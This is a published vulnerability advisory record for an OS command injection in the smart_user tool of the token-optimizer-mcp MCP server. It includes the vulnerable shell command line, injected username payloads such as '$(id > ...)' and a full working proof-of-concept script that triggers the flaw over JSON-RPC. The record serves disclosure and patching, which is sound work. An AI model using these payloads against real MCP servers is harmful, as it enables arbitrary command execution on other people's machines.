{"id":"CVE-2026-55157","aliases":["CVE-2026-55157","GHSA-49mq-fc6q-3h46"],"related":[],"kind":"vulnerability","state":"published","title":"Token Optimizer MCP: OS command injection in smart_user via username in get-user-info","summary":"Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge graph across 16 CLI clients. Prior to version 5.1.0, token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool. Any MCP client that can call the smart_user tool can execute arbitrary shell commands through the username argument of the get-user-info operation. The commands execute with the privileges of the user running the token-optimizer-mcp server. This issue has been patched in version 5.1.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge graph across 16 CLI clients. Prior to version 5.1.0, token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool. Any MCP client that can call the smart_user tool can execute arbitrary shell commands through the username argument of the get-user-info operation. The commands execute with the privileges of the user running the token-optimizer-mcp server. This issue has been patched in version 5.1.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool.\n\nThe `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`:\n\n```ts\ngetent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n```\n\nAlthough the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:\n\n```text\n$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\n```\n\nand execute arbitrary local commands with the privileges of the user running the MCP server.\n\nThis is a CWE-78 OS command injection issue.\n\nTested version:\n\n```text\n@ooples/token-optimizer-mcp v5.0.1\nMCP serverInfo.name: token-optimizer-mcp\nMCP serverInfo.version: 0.2.0\n```\n\nThis issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`'s own tool implementation.\n\n---\n\n### Details\n\nThe vulnerable code path is in the `smart_user` implementation.\n\nThe `username` argument is eventually passed into a shell command similar to:\n\n```ts\nconst { stdout: passwdOut } = await execAsync(\n  `getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd`\n);\n```\n\nThe problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell.\n\nDouble quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:\n\n```bash\n\"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\"\n\"`id`\"\n```\n\nTherefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments.\n\nThe affected MCP tool call is:\n\n```text\ntool: smart_user\noperation: get-user-info\nargument: username\n```\n\nRoot cause:\n\n```text\nMCP-controlled username\n→ interpolated into shell command string\n→ executed through execAsync()\n→ shell evaluates $(...) / backticks\n→ arbitrary command execution\n```\n\n---\n\n### PoC\n\nThe following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`.\n\nPrerequisites:\n\n```text\nNode.js installed\ntoken-optimizer-mcp built from source\n```\n\nBuild from source:\n\n```bash\ngit clone https://github.com/ooples/token-optimizer-mcp.git\ncd token-optimizer-mcp\nnpm install\nnpm run build\n```\n\nRun the PoC:\n\n```bash\ncd /path/to/token-optimizer-mcp\n\nENTRY=dist/server/index.js\nID_OUT=\"/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$\"\nrm -f \"$ID_OUT\"\n\necho \"[*] ENTRY=$ENTRY\"\necho \"[*] id output file: $ID_OUT\"\n\npython3 - \"$ID_OUT\" <<'PY' | timeout 20 node \"$ENTRY\" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log\nimport json\nimport sys\n\nid_out = sys.argv[1]\n\n# This value is inserted into:\n# getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n# Command substitution still executes inside double quotes.\nevil_username = f'$(id > {id_out})'\n\nmessages = [\n    {\n        \"jsonrpc\": \"2.0\",\n        \"id\": \"init\",\n        \"method\": \"initialize\",\n        \"params\": {\n            \"protocolVersion\": \"2024-11-05\",\n            \"capabilities\": {},\n            \"clientInfo\": {\n                \"name\": \"poc\",\n                \"version\": \"0\"\n            }\n        }\n    },\n    {\n        \"jsonrpc\": \"2.0\",\n        \"method\": \"notifications/initialized\",\n        \"params\": {}\n    },\n    {\n        \"jsonrpc\": \"2.0\",\n        \"id\": \"poc-smart-user\",\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"smart_user\",\n            \"arguments\": {\n                \"operation\": \"get-user-info\",\n                \"username\": evil_username,\n                \"useCache\": False\n            }\n        }\n    }\n]\n\nfor msg in messages:\n    print(json.dumps(msg), flush=True)\nPY\n\nsleep 1\n\nif [ -f \"$ID_OUT\" ]; then\n  echo \"[VULN CONFIRMED] smart_user command injection executed:\"\n  cat \"$ID_OUT\"\n  ls -l \"$ID_OUT\"\nelse\n  echo \"[FAIL] smart_user id output file not created\"\n  tail -120 /tmp/token_optimizer_smart_user_poc.log\nfi\n```\n\nExpected result:\n\n```text\n[VULN CONFIRMED] smart_user command injection executed:\nuid=1001(<local-user>) gid=1001(<local-user>) groups=...\n-rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...\n```\n\nIn my test, the MCP response also showed that the payload reached the shell command:\n\n```text\nCommand failed: getent passwd \"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)\" || grep \"^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):\" /etc/passwd\n```\n\nThe file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user.\n\nA simpler marker-file variant also works:\n\n```json\n{\n  \"operation\": \"get-user-info\",\n  \"username\": \"$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)\",\n  \"useCache\": false\n}\n```\n\n---\n\n### Impact\n\nThis is an OS command injection vulnerability.\n\nAny MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username` argument of the `get-user-info` operation.\n\nThe commands execute with the privileges of the user running the `token-optimizer-mcp` server.\n\nConfirmed impact:\n\n```text\nexecution of `id` as the MCP server user\narbitrary file creation under /tmp through an injected command\n```","format":"markdown","source":"ghsa"}],"published":"2026-08-14T21:42:06.000Z","modified":"2026-10-01T15:17:30.207Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"rating":"HIGH"}],"cwes":["CWE-78"],"affected":[{"ranges":[{"version":"< 5.1.0","status":"affected"}],"vendor":"ooples","product":"token-optimizer-mcp","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"5.1.0"}],"ecosystem":"npm","package":"@ooples/token-optimizer-mcp","purl":"pkg:npm/%40ooples/token-optimizer-mcp","source":"ghsa"}],"references":[{"url":"https://github.com/ooples/token-optimizer-mcp/security/advisories/GHSA-49mq-fc6q-3h46","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ooples/token-optimizer-mcp","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-10-01T14:47:18.746Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-55157","url":"https://www.cve.org/CVERecord?id=CVE-2026-55157","licence":"CVE Terms of Use","modified":"2026-10-01T14:47:57.868Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-49mq-fc6q-3h46","url":"https://github.com/advisories/GHSA-49mq-fc6q-3h46","licence":"CC-BY-4.0","modified":"2026-08-14T21:56:05.559Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-55157","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55157","licence":"Public domain","modified":"2026-10-01T15:17:30.207Z"}],"updatedAt":"2026-11-25T22:59:41.368Z","epss":{"score":0.00881,"percentile":0.60193,"date":"2026-12-01T12:00:22.000Z"}}